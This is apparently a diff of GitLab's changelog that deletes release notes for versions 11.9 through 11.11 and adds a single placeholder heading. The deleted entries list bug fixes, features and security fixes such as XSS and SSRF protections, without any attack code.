-## 11.11.4 (2019-06-26)
-
-### Fixed (3 changes)
-
-- Fix Fogbugz Importer not working. !29383
-- Fix scrolling to top on assignee change. !29500
-- Fix IDE commit using latest ref in branch and overriding contents. !29769
-
-
-## 11.11.3 (2019-06-10)
-
-### Fixed (5 changes)
-
-- Fix invalid visibility string comparison in project import. !28612
-- Remove a default git depth in Pipelines for merge requests. !28926
-- Fix connection to Tiller error while uninstalling. !29131
-- Fix label click scrolling to top. !29202
-- Make OpenID Connect work without requiring a name. !29312
-
-
-## 11.11.2 (2019-06-04)
-
-### Fixed (7 changes)
-
-- Update SAST.gitlab-ci.yml - Add SAST_GITLEAKS_ENTROPY_LEVEL. !28607
-- Fix OmniAuth OAuth2Generic strategy not loading. !28680
-- Use source ref in pipeline webhook. !28772
-- Fix migration failure when groups are missing route. !29022
-- Stop two-step rebase from hanging when errors occur. !29068
-- Fix project settings not being able to update. !29097
-- Fix display of 'Promote to group label' button.
-
-### Other (1 change)
-
-- Fix input group height.
-
-
-## 11.11.0 (2019-05-22)
-
-### Security (1 change)
-
-- Destroy project remote mirrors instead of disabling. !27087
-
-### Fixed (75 changes, 19 of them are from the community)
-
-- Don't create a temp reference for branch comparisons within project. !24038
-- Fix some label links not appearing on group labels page and label title being a link on project labels page. !24060 (Tanya Pazitny)
-- Fix extra emails for custom notifications. !25607
-- Rewind IID on Ci::Pipelines. !26490
-- Fix duplicate merge request pipelines created by Sidekiq worker retry. !26643
-- Catch and report OpenSSL exceptions while fetching external configuration files in CI::Config. !26750 (Drew Cimino)
-- stop rendering download links for expired artifacts on the project tags page. !26753 (Drew Cimino)
-- Format extra help page text like wiki. !26782 (Bastian Blank)
-- Always show instance configuration link. !26783 (Bastian Blank)
-- Display maximum artifact size from runtime config. !26784 (Bastian Blank)
-- Resolve issue where list labels did not have the correct text color on creation. !26794 (Tucker Chapman)
-- Set release name when adding release notes to an existing tag. !26807
-- Fix the bug that the project statistics is not updated. !26854 (Hiroyuki Sato)
-- Client side changes for ListLastCommitsForTree response update. !26880
-- Fix api group visibility. !26896
-- Require all templates to use default stages. !26954
-- Remove a "reopen merge request button" on a "merged" merge request. !26965 (Hiroyuki Sato)
-- Fix misaligned image diff swipe view. !26969 (ftab)
-- Add badge-pill class on group member count. !27019
-- Remove leading / trailing spaces from heading when generating header ids. !27025 (Willian Balmant)
-- Respect updated_at attribute in notes produced by API calls. !27124 (Ben Gamari)
-- Fix GitHub project import visibility. !27133 (Daniel Wyatt)
-- Fixes actions dropdowns in environments page. !27160
-- Fixes create button background for Environments form. !27161
-- Display scoped labels in Issue Boards. !27164
-- Align UrlValidator to validate_url gem implementation. !27194 (Horatiu Eugen Vlad)
-- Resolve Web IDE template dropdown showing duplicates. !27237
-- Update GitLab Workhorse to v8.6.0. !27260
-- Only show in autocomplete when author active. !27292
-- Remove deadline for Git fsck. !27299
-- Show prioritized labels to guests. !27307
-- Properly expire all pipeline caches when pipeline is deleted. !27334
-- Replaced icon for external URL with doc-text icon. !27365
-- Add auto direction for issue title. !27378 (Ahmad Haghighi)
-- fix wiki search result links in titles. !27400 (khm)
-- Fix system notes timestamp when creating issue in the past. !27406
-- Fix approvals sometimes being reset after a merge request is rebased. !27446
-- Fix empty block in MR widget when user doesn't have permission. !27462
-- Fix wrong use of ActiveRecord in PoolRepository. !27464
-- Show proper preview for uploaded images in Web IDE. !27471
-- Resolve Renaming an image via Web IDE corrupts it. !27486
-- Clean up CarrierWave's import/export files. !27487
-- Fix autocomplete dropdown for usernames starting with period. !27533 (Jan Beckmann)
-- Disable password autocomplete in mirror repository form. !27542
-- Always use internal ID tables in development and production. !27544
-- Only show the "target branch has advanced" message when the merge request is open. !27588
-- Resolve Misalignment on suggested changes diff table. !27612
-- Update Workhorse to v8.7.0. !27630
-- Fix FE API and IDE handling of '/' relative_url_root. !27635
-- Hide ScopedBadge overflow notes. !27651
-- Fix base domain help text update. !27746
-- Upgrade letter_opener_web to support Rails 5.1. !27829
-- Fix webpack assets handling when relative url root is '/'. !27909
-- Fix IDE get file data with '/' as relative root. !27911
-- Allow a member to have an access level equal to parent group. !27913
-- Fix issuables state_id nil when importing projects from GitHub. !28027
-- Fix uploading of LFS tracked file through UI. !28052
-- Render Next badge only for gitlab.com. !28056
-- Fix update head pipeline process of Pipelines for merge requests. !28057
-- Handle errors in successful notes reply. !28082
-- Fix visual issues in set status modal. !28147
-- Use a path for the related merge requests endpoint. !28171
-- disable SSH key validation in key details view. !28180 (Roger Meier)
-- Fix MR discussion border missing in chrome sometimes. !28185
-- Fix Error 500 when inviting user already present. !28198
-- Remove non-semantic use of `.row` in member listing controls. !28204
-- Properly handle LFS Batch API response in project import. !28223
-- Fix project visibility level validation. !28305 (Peter Marko)
-- Fix incorrect prefix used in new uploads for personal snippets. !28337
-- Fix Rugged get_tree_entries recursive flag not working. !28494
-- Next badge must visible when canary flag is true.
-- Vertically aligns the play button for stages.
-- Fixes next badge being always visible.
-- Adds arrow icons to select option in CI/CD settings.
-- Allow replying to individual notes from API.
-
-### Changed (19 changes, 3 of them are from the community)
-
-- Sort by due date and popularity in both directions for Issues and Merge requests. !25502 (Nermin Vehabovic)
-- Improve pipelines table spacing, add triggerer column. !26136
-- Allow extra arguments in helm commands when deploying the application in Auto-DevOps.gitlab-ci.yml. !26171 (tortuetorche)
-- Switch to sassc-rails for faster stylesheet compilation. !26224
-- Reorganize project merge request settings. !26834
-- Display a toast message when the Kubernetes runner has successfully upgraded. !27206
-- Allow guests users to access project releases. !27247
-- Add help texts to K8 form fields. !27274
-- Support prometheus for group level clusters. !27280
-- Include link to raw job log in plain-text emails. !27409
-- Only escape Markdown emphasis characters in autocomplete when necessary. !27457
-- Move location of charts/auto-deploy-app -> gitlab-org/charts/auto-deploy-app. !27477
-- Make canceled jobs not retryable. !27503
-- Upgrade to Gitaly v1.36.0. !27831
-- Update deployment event chat notification message. !27972
-- Upgrade to Gitaly v1.42.0. !28135
-- Resolve discussion when apply suggestion. !28160
-- Improve expanding diff to full file performance.
-- Knative version bump 0.3 -> 0.5. (Chris Baumbauer <cab@cabnetworks.net>)
-
-### Performance (5 changes)
-
-- Added list_pages method to avoid loading all wiki pages content. !22801
-- Add gitaly session id & catfile-cache feature flag. !27472
-- Add improvements to global search of issues and merge requests. !27817
-- Disable method replacement in avatar loading. !27866
-- Fix Blob.lazy always loading all previously-requested blobs when a new request is made.
-
-### Added (36 changes, 10 of them are from the community)
-
-- Add time preferences for user. !25381
-- Added write_repository scope for personal access token. !26021 (Horatiu Eugen Vlad)
-- Mark disabled pages domains for removal, but don't remove them yet. !26212
-- Remove pages domains if they weren't verified for 1 week. !26227
-- Expose pipeline variables via API. !26501 (Agustin Henze <tin@redhat.com>)
-- Download a folder from repository. !26532 (kiameisomabes)
-- Remove cleaned up OIDs from database and cache. !26555
-- Disables kubernetes resources creation if a cluster is not managed. !26565
-- Add CI_COMMIT_REF_PROTECTED CI variable. !26716 (Jason van den Hurk)
-- Add new API endpoint to expose a single environment. !26887
-- Allow Sentry configuration to be passed on gitlab.yml. !27091 (Roger Meier)
-- CI variables of type file. !27112
-- Allow linking to a private helm repository by providing credentials, and customisation of repository name. !27123 (Stuart Moore @stjm-cc)
-- Add time tracking information to Issue Boards sidebar. !27166
-- Play all manual jobs in a stage. !27188
-- Instance level kubernetes clusters. !27196
-- Adds if InfluxDB and Prometheus metrics are enabled to usage ping data. !27238
-- Autosave description in epics. !27296
-- Add deployment events to chat notification services. !27338
-- Add packages_size to ProjectStatistics. !27373
-- Added OmniAuth OpenID Connect strategy. !27383 (Horatiu Eugen Vlad)
-- Test using Git 2.21. !27418
-- Use official Gitea logo in importer. !27424 (Matti Ranta (@techknowlogick))
-- Add option to set access_level of runners upon registration. !27490 (Zelin L)
-- Add initial GraphQL query for Groups. !27492
-- Enable Sidekiq Reliable Fetcher for background jobs by default. !27530
-- Add backend support for a External Dashboard URL setting. !27550
-- Implement UI for uninstalling Cluster’s managed apps. !27559
-- Resolve Salesforce.com omniauth support. !27834
-- Leave project/group from access granted email. !27892
-- Allow Sentry client-side DSN to be passed on gitlab.yml. !27967
-- GraphQL: improve evaluation of query complexity based on arguments and query limits. !28017
-- Support negative matches.
-- Added Omniauth UltraAuth strategy to GitLab. (Kartikey Tanna)
-- Adds badge for Canary environment and help link.
-- Show category icons in user popover.
-
-### Other (29 changes, 8 of them are from the community)
-
-- Validate refs used in controllers don't have spaces. !24037
-- Migrate correlation and tracing code to LabKit. !25379
-- Update node.js to 10.15.3 in CI template for Hexo. !25943 (Takuya Noguchi)
-- Improve icons and button order in project overview. !26796
-- Add instructions on how to contribute a Built-In template for project. !26976
-- Extract DiscussionNotes component from NoteableDiscussion. !27066
-- Bump gRPC to 1.19.0 and protobuf to 3.7.1. !27086
-- Extract DiscussionActions component from NoteableDiscussion. !27227
-- Show disabled project repo mirrors in settings. !27326
-- Add backtrace to Gitaly performance bar. !27345
-- Moved EE/CE differences for dropdown_value_collapsed into CE. !27367
-- Remove "You are already signed in" banner. !27377
-- Move ee-specific code from boards/components/issue_card_inner.vue. !27394 (Roman Rodionov)
-- Upgrade to Rails 5.1. !27480 (Jasper Maes)
-- Update GitLab Runner Helm Chart to 0.4.0. !27508
-- Update GitLab Runner Helm Chart to 0.4.1. !27627
-- Refactored notes tests from Karma to Jest. !27648 (Martin Hobert)
-- refactor(issue): Refactored issue tests from Karma to Jest. !27673 (Martin Hobert)
-- Refactored Karma spec files to Jest. !27688 (Martin Hobert)
-- Add CSS fix for <wbr> elements on IE11. !27846
-- Update clair-local-scan to v2.0.8 for container scanning. !27977
-- Use PostgreSQL 10.7 in tests. !28020
-- Document EE License Auto Import During Install. !28106
-- Remove the note in the docs that multi-line suggestions are not yet available. !28119 (hardysim)
-- Update gitlab-shell to v9.1.0. !28184
-- Add EE fixtures to SeedFu list. !28241
-- Add some frozen string to spec/**/*.rb. (gfyoung)
-- Replaces CSS with BS4 utility class for pipeline schedules.
-- Creates a vendors folder for external CSS.
-
-### Performance (1 change)
-
-- Add improvements to global search of issues and merge requests. !27817
-
-
-## 11.10.7 (2019-06-26)
-
-### Fixed (3 changes)
-
-- Remove a default git depth in Pipelines for merge requests. !28926
-- Fix label click scrolling to top. !29202
-- Fix scrolling to top on assignee change. !29500
-
-
-## 11.10.8 (2019-06-27)
-
-- No changes.
-### Security (10 changes)
-
-- Fix Denial of Service for comments when rendering issues/MR comments.
-- Gate MR head_pipeline behind read_pipeline ability.
-- Fix DoS vulnerability in color validation regex.
-- Expose merge requests count based on user access.
-- Persist tmp snippet uploads at users.
-- Add missing authorizations in GraphQL.
-- Disable Rails SQL query cache when applying service templates.
-- Prevent Billion Laughs attack.
-- Correctly check permissions when creating snippet notes.
-- Prevent the detection of merge request templates by unauthorized users.
-
-### Performance (1 change)
-
-- Add improvements to global search of issues and merge requests. !27817
-
-
-## 11.10.6 (2019-06-04)
-
-### Fixed (7 changes, 1 of them is from the community)
-
-- Allow a member to have an access level equal to parent group. !27913
-- Fix uploading of LFS tracked file through UI. !28052
-- Use 3-way merge for squashing commits. !28078
-- Use a path for the related merge requests endpoint. !28171
-- Fix project visibility level validation. !28305 (Peter Marko)
-- Fix Rugged get_tree_entries recursive flag not working. !28494
-- Use source ref in pipeline webhook. !28772
-
-### Other (1 change)
-
-- Fix input group height.
-
-## 11.10.4 (2019-05-01)
-
-### Fixed (12 changes)
-
-- Fix MR popover on ToDos page. !27382
-- Fix 500 in general pipeline settings when passing an invalid build timeout. !27416
-- Fix bug where system note MR has no popover. !27589
-- Fix bug when project export to remote url fails. !27614
-- `on_stop` is not automatically triggered with pipelines for merge requests. !27618
-- Update Workhorse to v8.5.2. !27631
-- Show proper wiki links in search results. !27634
-- Make `CI_COMMIT_REF_NAME` and `SLUG` variable idempotent. !27663
-- Fix Kubernetes service template deployment jobs broken as of 11.10.0. !27687
-- Prevent text selection when dragging in issue boards. !27724
-- Fix pipelines for merge requests does not show pipeline page when source branch is removed. !27803
-- Fix Metrics Environments dropdown.
-
-### Performance (2 changes)
-
-- Prevent concurrent execution of PipelineScheduleWorker. !27781
-- Fix slow performance with compiling HAML templates. !27782
-
-
-## 11.10.3 (2019-04-30)
-
-### Security (1 change)
-
-- Allow to see project events only with api scope token.
-
-
-## 11.10.2 (2019-04-25)
-
-### Security (4 changes)
-
-- Loosen regex for exception sanitization. !3076
-- Resolve: moving an issue to private repo leaks namespace and project name.
-- Escape path in new merge request mail.
-- Stop sending emails to users who can't read commit.
-
-
-## 11.10.1 (2019-04-23)
-
-### Fixed (2 changes)
-
-- Upgrade Gitaly to 1.34.0. !27494
-- Fix filtering of labels from system note link. !27507
-
-### Changed (1 change)
-
-- Disable just-in-time Kubernetes resource creation for project level clusters. !27352
-
-### Performance (1 change)
-
-- Bring back Rugged implementation of ListCommitsByOid. !27441
-
-### Other (1 change)
-
-- Bump required Ruby version check to 2.5.3. !27495
-
-
-## 11.10.0 (2019-04-22)
-
-### Security (9 changes)
-
-- Update Rails to 5.0.7.2. !27022
-- Disallow guest users from accessing Releases.
-- Return cached languages if they've been detected before.
-- Added rake task for removing EXIF data from existing uploads.
-- Disallow updating namespace when updating a project.
-- Fix XSS in resolve conflicts form.
-- Hide "related branches" when user does not have permission.
-- Fix PDF.js vulnerability.
-- Use UntrustedRegexp for matching refs policy.
-
-### Fixed (81 changes, 21 of them are from the community)
-
-- Update `border-radius` of form controls and remove extra space above page titles. !24497
-- Disallow reopening of a locked merge request. !24882 (Jan Beckmann)
-- Align EmailValidator to validate_email gem implementation. !24971 (Horatiu Eugen Vlad)
-- add a uniq constraints on issues and mrs labels. !25435 (Antoine Huret)
-- Display draft when toggling replies. !25563
-- Fix markdown table header and table content borders. !25666
-- Fix authorized application count. !25715 (moyuru)
-- Added "Add List" checkbox to create label dropdown to make creation of list optional. !25716 (Tucker Chapman)
-- Makes emoji picker full width on mobile. !25883 (Jacopo Beschi @jacopo-beschi)
-- Don't cutoff letters in MR and Issue links. !25910 (gfyoung)
-- Fix unwanted character replacement on project members page caused by usage of sanitize function. !25946 (Elias Werberich)
-- Fix UI for closed MR when source project is removed. !25967 (Takuya Noguchi)
-- Keep inline as much as possible in system notes on issuable. !25968 (Takuya Noguchi)
-- Fixes long review app subdomains. !25990 (walkafwalka)
-- Fix counting of groups in admin dashboard. !26009
-- Disable inaccessible navigation links upon archiving a project. !26020 (Elias Werberich)
-- Fixed - Create project label window is cut off at the bottom. !26049
-- Fix error shown when loading links to specific comments. !26092
-- Fix group transfer selection possibilities. !26123 (Peter Marko)
-- Fix UI layout on Commits on mobile. !26133 (Takuya Noguchi)
-- Fix continuous bitbucket import loading spinner. !26175
-- Resolves Branch name is lost if I change commit mode in Web IDE. !26180
-- Fix removing remote mirror failure which leaves unnecessary refs behind. !26213
-- Fix Error 500 when user commits Wiki page with no commit message. !26247
-- Handle missing keys in sentry api response. !26264
-- Implemented whitespace-trimming for file names in Web IDE. !26270
-- Fix misalignment of group overview page buttons. !26292
-- Reject HEAD requests to info/refs endpoint. !26334
-- Prevent namespace dropdown in new project form from exceeding container. !26343
-- Fix hover animation consistency in top navbar items. !26345
-- Exclude system notes from commits in merge request discussions. !26396
-- Resolve Code in other column of side-by-side diff is highlighted when selecting code on one side. !26423
-- Prevent fade out transition on loading-button component. !26428
-- Fix merge commits being used as default squash commit messages. !26445
-- Expand resolved discussion when linking to a comment in the discussion. !26483
-- Show statistics also when repository is disabled. !26509 (Peter Marko)
-- Fix multiple series queries on metrics dashboard. !26514
-- Releases will now be automatically deleted when deleting corresponding tag. !26530
-- Make stylistic improvements to diff nav header. !26557
-- Clear pipeline status cache after destruction of pipeline. !26575
-- Update fugit which fixes a potential infinite loop. !26579
-- Fixes job link in artifacts page breadcrumb. !26592
-- Fix quick actions add label name middle word overlaps. !26602 (Jacopo Beschi @jacopo-beschi)
-- Fix Auto DevOps missing domain error handling. !26627
-- Fix jupyter rendering bug that ended in an infinite loop. !26656 (ROSPARS Benoit)
-- Use a fixed git abbrev parameter when we fetch a git revision. !26707
-- Enabled text selection highlighting in diffs in Web IDE. !26721 (Isaac Smith)
-- Remove `path` and `branch` labels from metrics. !26744
-- Resolve "Hide Kubernetes cluster warning if project has cluster related". !26749
-- Fix long label overflow on metrics dashboard. !26775
-- Group transfer now properly redirects to edit on failure. !26837
-- Only execute system hooks once when pushing tags. !26888
-- Fix UI anchor links after docs refactor. !26890
-- Fix MWPS does not work for merge request pipelines. !26906
-- Create pipelines for merge requests only when source branch is updated. !26921
-- Fix notfication emails having wrong encoding. !26931
-- Allow task lists that follow a blockquote to work correctly. !26937
-- Fix image diff swipe view on commit and compare pages. !26968 (ftab)
-- Fix IDE detection of MR from fork with same branch name. !26986
-- Fix single string values for the 'include' keyword validation of gitlab-ci.yml. !26998 (Paul Bonaud (@paulrbr))
-- Do not display Ingress IP help text when there isn’t an Ingress IP assigned. !27057
-- Fix real-time updates for projects that contain a reserved word. !27060
-- Remove duplicates from issue related merge requests. !27067
-- Add to white-space nowrap to all buttons. !27069
-- Handle possible HTTP exception for Sentry client. !27080
-- Guard against nil dereferenced_target. !27192
-- Update GitLab Workhorse to v8.5.1. !27217
-- Fix long file header names bug in diffs. !27233
-- Always return the deployment in the UpdateDeploymentService#execute method. !27322
-- Fix remove_source_branch merge request API handling. !27392
-- Fixed bug with hashes in urls in WebIDE. !54376 (Kieran Andrews)
-- Fix bug where MR popover doesn't go away on mouse leave.
-- Only consider active milestones when using the special Started milestone filter.
-- Scroll to diff file content when clicking on file header name and it is not a link to other page.
-- Remove non-functional add issue button on welcome list.
-- Fixed expand full file button showing on images.
-- Fixed Web IDE web workers not working with relative URLs.
-- Fixed Web IDE not loading merge request files.
-- Fixed duplicated diff too large error message.
-- Fixed sticky headers in merge request creation diffs.
-- Fix bug when reopening milestone from index page.
-
-### Deprecated (1 change)
-
-- Allow to use untrusted Regexp via feature flag. !26905
-
-### Changed (35 changes, 4 of them are from the community)
-
-- Create MR pipelines with `refs/merge-requests/:iid/head`. !25504
-- Create Kubernetes resources for projects when their deployment jobs run. !25586
-- Remove unnecessary folder prefix from environment name. !25600
-- Update deploy boards to additionally select on "app.gitlab.com" annotations. !25623
-- Allow failed custom hook script errors to safely appear in GitLab UI by filtering error messages by the prefix GL-HOOK-ERR:. !25625
-- Add link on two-factor authorization settings page to leave group that enforces two-factor authorization. !25731
-- Reduce height of instance system header and footer. !25752
-- Unify behaviour of 'Copy commit SHA to clipboard' to use full commit SHA. !25829 (Max Winterstein)
-- Show loading spinner while Ingress/Knative IP is being assigned. !25912
-- Hashed Storage: Prevent a migration and rollback running at the same time. !25976
-- Make time counters show 'just now' for everything under one minute. !25992 (Sergiu Marton)
-- Allow filtering labels list by one or two characters. !26012
-- Implements the creation strategy for multi-line suggestions. !26057
-- Automate base domain help text on Clusters page. !26124
-- Set user.name limit to 128 characters. !26146
-- Update gitlab-markup to 1.7.0 which requies python3. !26246
-- Update system message banner font size to 12px. !26293
-- Extend timezone dropdown. !26311
-- Upgrade to Gitaly v1.29.0. !26406
-- Automatically set Prometheus step interval. !26441
-- Knative version bump 0.2.2 -> 0.3.0. !26459 (Chris Baumbauer)
-- Display cluster form validation error messages inline. !26502
-- Split Auto-DevOps.gitlab-ci.yml into reusable templates. !26520
-- Update spinners in group list component. !26572
-- Allow removing last owner from subgroup if parent group has owners. !26718
-- Check mergeability in MergeToRefService. !26757
-- Show download diff links for closed MRs. !26772
-- Fix Container Scanning in Kubernetes Runners. !26793
-- Move "Authorize project access with external service" to Core. !26823
-- Localize notifications dropdown. !26844
-- Order labels alphabetically in issue boards. !26927
-- Upgrade to Gitaly v1.32.0. !26989
-- Upgrade to Gitaly v1.33.0. !27065
-- collapse file tree by default if the merge request changes only one file. (Riccardo Padovani <riccardo@rpadovani.com>)
-- Removes the undescriptive CI Charts header.
-
-### Performance (17 changes)
-
-- Drop legacy artifacts usage as there are no leftovers. !24294
-- Cache Repository#root_ref within a request. !25903
-- Allow ref name caching CommitService#find_commit. !26248
-- Avoid loading pipeline status in project search. !26342
-- Fix some N+1s in loading routes and counting members for groups in @-autocomplete. !26491
-- GitHub import: Run housekeeping after initial import. !26600
-- Add initial complexity limits to GraphQL queries. !26629
-- Cache FindCommit results in pipelines view. !26776
-- Fix and expand Gitaly FindCommit caching. !27018
-- Enable FindCommit caching for project and commits pages. !27048
-- Expand FindCommit caching to blob and refs. !27084
-- Enable Gitaly FindCommit caching for TreeController. !27100
-- Improve performance of PR import. !27121
-- Process at most 4 pipelines during push. !27205
-- Disable method instrumentation for diffs. !27235
-- Speed up filtering issues in a project when searching.
-- Speed up generation of avatar URLs when using object storage.
-
-### Added (35 changes, 6 of them are from the community)
-
-- Add users search results to global search. !21197 (Alexis Reigel)
-- Add target branch filter to merge requests search bar. !24380 (Hiroyuki Sato)
-- Add Knative metrics to Prometheus. !24663 (Chris Baumbauer <cab@cabnetworks.net>)
-- Support multi-line suggestions. !25211
-- Allow to sort wiki pages by date and title. !25365
-- Allow external diffs to be used conditionally. !25432
-- Add usage counts for error tracking feature. !25472
-- Enable/disable Auto DevOps at the Group level. !25533
-- Update pipeline list view to accommodate post-merge pipeline information. !25690
-- GraphQL Types can be made to always authorize access to resources of that Type. !25724
-- Update clair-local-scan to 2.0.6. !25743 (Takuya Noguchi)
-- Update pipeline block on merge request page to accommodate post-merge pipeline information. !25745
-- Support multiple queries per chart on metrics dash. !25758
-- Update pipeline detail view to accommodate post-merge pipelines. !25775
-- Update job detail sidebar to accommodate post-merge pipeline information. !25777
-- Add merge request pipeline flag to pipeline entity. !25846
-- Expose group id on home panel. !25897 (Peter Marko)
-- Move allow developers to create projects in groups to Core. !25975
-- Add two new warning messages to the MR widget about merge request pipelines. !25983
-- Support installing Group runner on group-level cluster. !26260
-- Improve the Knative installation on Clusters. !26339
-- Show error when namespace/svc account missing. !26362
-- Add select by title to milestones API. !26573
-- Implemented support for creation of new files from URL in Web IDE. !26622
-- Add control for masking variable values in runner logs. !26751
-- Allow merge requests to be created via git push options. !26752
-- Create a shortcut for a new MR in the Web IDE. !26792
-- Allow reactive caching to be used in services. !26839
-- Add a Prometheus API per environment. !26841
-- Allow merge requests to be set to merge when pipeline succeeds via git push options. !26842
-- Use gitlabktl to build and deploy GitLab Serverless Functions. !26926
-- Make touch events work on image diff swipe view and onion skin. !26971 (ftab)
-- Add extended merge request tooltip.
-- Added prometheus monitoring to GraphQL.
-- Adding highest role property to admin's user details page.
-
-### Other (29 changes, 6 of them are from the community)
-
-- Update rack-oauth2 1.2.1 -> 1.9.3. !17868
-- Merge the gitlab-shell "gitlab-keys" functionality into GitLab CE. !25598
-- Refactor all_pipelines in Merge request. !25676
-- Show error backtrace when logging errors to kubernetes.log. !25726
-- Apply recaptcha API change in 4.0. !25921 (Praveen Arimbrathodiyil)
-- Remove fake repository_path response. !25942 (Fabio Papa)
-- Use curl silent/show-error options on Auto DevOps. !25954 (Takuya Noguchi)
-- Explicitly set master_auth setting to enable basic auth and client certificate for new GKE clusters. !26018
-- Project: Improve empty repository state UI. !26024
-- Externalize strings from `/app/views/projects/pipelines`. !26035 (George Tsiolis)
-- Prepare multi-line suggestions for rendering in Markdown. !26107
-- Improve mobile UI on User Profile page. !26240 (Takuya Noguchi)
-- Update GitLab Runner Helm Chart to 0.3.0/11.9.0. !26467
-- Improve project merge request settings. !26495
-- Bump kubectl to 1.11.9 and Helm to 2.13.1 in Auto-DevOps.gitlab-ci.yml. !26534
-- Upgrade bootstrap_form Gem. !26568
-- Add API access check to Graphql. !26570
-- Change project avatar remove button to a link. !26589
-- Log Gitaly RPC duration to api_json.log and production_json.log. !26652
-- Add cluster domain to Project Cluster API. !26735
-- Move project tags to separate line. !26797
-- Changed button label at /pipelines/new. !26893 (antfobe,leonardofl)
-- Update GitLab Shell to v9.0.0. !27002
-- Migrate clusters tests to jest. !27013
-- Rewrite related MRs widget with Vue. !27027
-- Restore HipChat project service. !27172
-- Externalize admin deploy keys strings.
-- Removes EE differences for environments_table.vue.
-- Removes EE differences for environment_item.vue.
-
-
-## 11.9.12 (2019-05-30)
-
-### Security (12 changes, 1 of them is from the community)
-
-- Protect Gitlab::HTTP against DNS rebinding attack.
-- Fix project visibility level validation. (Peter Marko)
-- Update Knative version.
-- Add DNS rebinding protection settings.
-- Prevent XSS injection in note imports.
-- Prevent invalid branch for merge request.
-- Filter relative links in wiki for XSS.
-- Fix confidential issue label disclosure on milestone view.
-- Fix url redaction for issue links.
-- Resolve: Milestones leaked via search API.
-- Prevent bypass of restriction disabling web password sign in.
-- Hide confidential issue title on unsubscribe for anonymous users.
-
-
-## 11.9.10 (2019-04-26)
-
-### Security (5 changes)
-
-- Loosen regex for exception sanitization. !3077
-- Resolve: moving an issue to private repo leaks namespace and project name.
-- Escape path in new merge request mail.
-- Stop sending emails to users who can't read commit.
-- Upgrade Rails to 5.0.7.2.
-
-
-## 11.9.9 (2019-04-23)
-
-### Performance (1 change)
-
-- Bring back Rugged implementation of ListCommitsByOid. !27441
-
-
-## 11.9.8 (2019-04-11)
-
-### Deprecated (1 change)
-
-- Allow to use untrusted Regexp via feature flag. !26905
-
-### Performance (2 changes)
-
-- Improve performance of PR import. !27121
-- Disable method instrumentation for diffs. !27235
-
-### Other (1 change)
-
-- Restore HipChat project service. !27172
-
-
-## 11.9.7 (2019-04-09)
-
-- No changes.
-
-## 11.9.6 (2019-04-04)
-
-### Fixed (3 changes)
-
-- Force to recreate all MR diffs on import. !26480
-- Fix API /project/:id/branches not returning correct merge status. !26785
-- Avoid excessive recursive calls with Rugged TreeEntries. !26813
-
-### Performance (1 change)
-
-- Force a full GC after importing a project. !26803
-
-
-## 11.9.5 (2019-04-03)
-
-### Fixed (3 changes)
-
-- Force to recreate all MR diffs on import. !26480
-- Fix API /project/:id/branches not returning correct merge status. !26785
-- Avoid excessive recursive calls with Rugged TreeEntries. !26813
-
-### Performance (1 change)
-
-- Force a full GC after importing a project. !26803
-
-
-## 11.9.3 (2019-03-27)
-
-- No changes.
-
-## 11.9.2 (2019-03-26)
-
-- No changes.
-
-## 11.9.1 (2019-03-25)
-
-### Fixed (7 changes)
-
-- Fix issue that caused the "Show all activity" button to appear on top of the mini pipeline status dropdown on the merge request page. !26274
-- Fix duplicated bottom match line on merge request parallel diff view. !26402
-- Allow users who can push to protected branches to create protected branches via CLI. !26413
-- Add missing .gitlab-ci.yml to Android template. !26415
-- Refresh commit count after repository head changes. !26473
-- Set proper default-branch for repository on GitHub Import. !26476
-- GitHub importer: Use the project creator to create branches from forks. !26510
-
-### Changed (1 change)
-
-- Upgrade to Gitaly v1.27.1. !26533
-
-
-## 11.9.0 (2019-03-22)
-
-### Security (24 changes)
-
-- Use encrypted runner tokens. !25532
-- Stop linking to unrecognized package sources. !55518
-- Disable issue boards API when issues are disabled.
-- Forbid creating discussions for users with restricted access.
-- Fix leaking private repository information in API.
-- Fixed ability to see private groups by users not belonging to given group.
-- Prevent releases links API to leak tag existence.
-- Display the correct number of MRs a user has access to.
-- Block local URLs for Kubernetes integration.
-- Fix arbitrary file read via diffs during import.
-- Check if desired milestone for an issue is available.
-- Don't allow non-members to see private related MRs.
-- Check snippet attached file to be moved is within designated directory.
-- Fix blind SSRF in Prometheus integration by checking URL before querying.
-- Fix git clone revealing private repo's presence.
-- Remove project serialization in quick actions response.
-- Don't show new issue link after move when a user does not have permissions.
-- Limit mermaid rendering to 5K characters.
-- Show only merge requests visible to user on milestone detail page.
-- Display only information visible to current user on the Milestone page.
-- Do not display impersonated sessions under active sessions and remove ability to revoke session.
-- Validate session key when authorizing with GCP to create a cluster.
-- Do not disclose milestone titles for unauthorized users.
-- Remove the possibility to share a project with a group that a user is not a member of.
-
-### Removed (1 change)
+## 10.8.6 through 10.0.0
-- Remove HipChat integration from GitLab. !22223
-
-### Fixed (86 changes, 21 of them are from the community)
-
-- Fixes issue with AWS V4 signatures not working with some S3 providers. !21788
-- Validate 'include' keywords in gitlab-ci.yml configuration files. !24098 (Paul Bonaud)
-- Close More Actions tooltip when menu opens. !24285
-- API: Support Jira transition ID as string. !24400 (Robert Schilling)
-- Fixed navigation sidebar flashing open on page load. !24555
-- Fix username escaping when using assign to me for issues. !24673
-- commit page info-well overflow fix #56436. !24799 (Gokhan Apaydin)
-- Fix error tracking list page. !24806
-- Fix overlapping empty-header logo. !24868 (Jonas L.)
-- Resolve Jobs tab border top in pipeline's page is 1px off. !24878
-- Require maintainer access to show pages domain settings. !24926
-- Display error message when API call to list Sentry issues fails. !24936
-- Fix rollout status for statefulsets and daemonsets. !24972 (Sergej Nikolaev <kinolaev@gmail.com>)
-- Display job names consistently on pipelines and environments list. !24984
-- Update new password breadcrumb. !25037 (George Tsiolis)
-- Fixes functions finder for upgraded Knative app. !25067
-- Provide expires_in in LFS authentication payload. !25082
-- Fix validation of certain ed25519 keys. !25115 (Merlijn B. W. Wajer)
-- Timer and action name aligned vertically for delayed jobs in pipeline actions. !25117 (Gokhan Apaydin)
-- Fix the border style of CONTRIBUTING button when it exists. !25124 (Takuya Noguchi)
-- Change badges.svg example to pipeline.svg. !25157 (Aviad Levy)
-- API: Fix docs and parameters for hangouts-chat service. !25180 (Robert Schilling)
-- API: Expose full commit title. !25189 (Robert Schilling)
-- API: Require only one parameter when updating a wiki. !25191 (Robert Schilling)
-- Hide pipeline status when pipelines are disabled on project. !25204
-- Fix alignment of dropdown icon on issuable on mobile. !25205 (Takuya Noguchi)
-- Add left margin to 1st time contributor badge. !25216 (Gokhan Apaydin)
-- Use limited counter for runner build count in admin page. !25220
-- API: Ensure that related merge requests are referenced cross-project. !25222 (Robert Schilling)
-- Ensure the base pipeline of a Merge Request belongs to its target branch. !25226
-- Fix import_jid error on project import. !25239
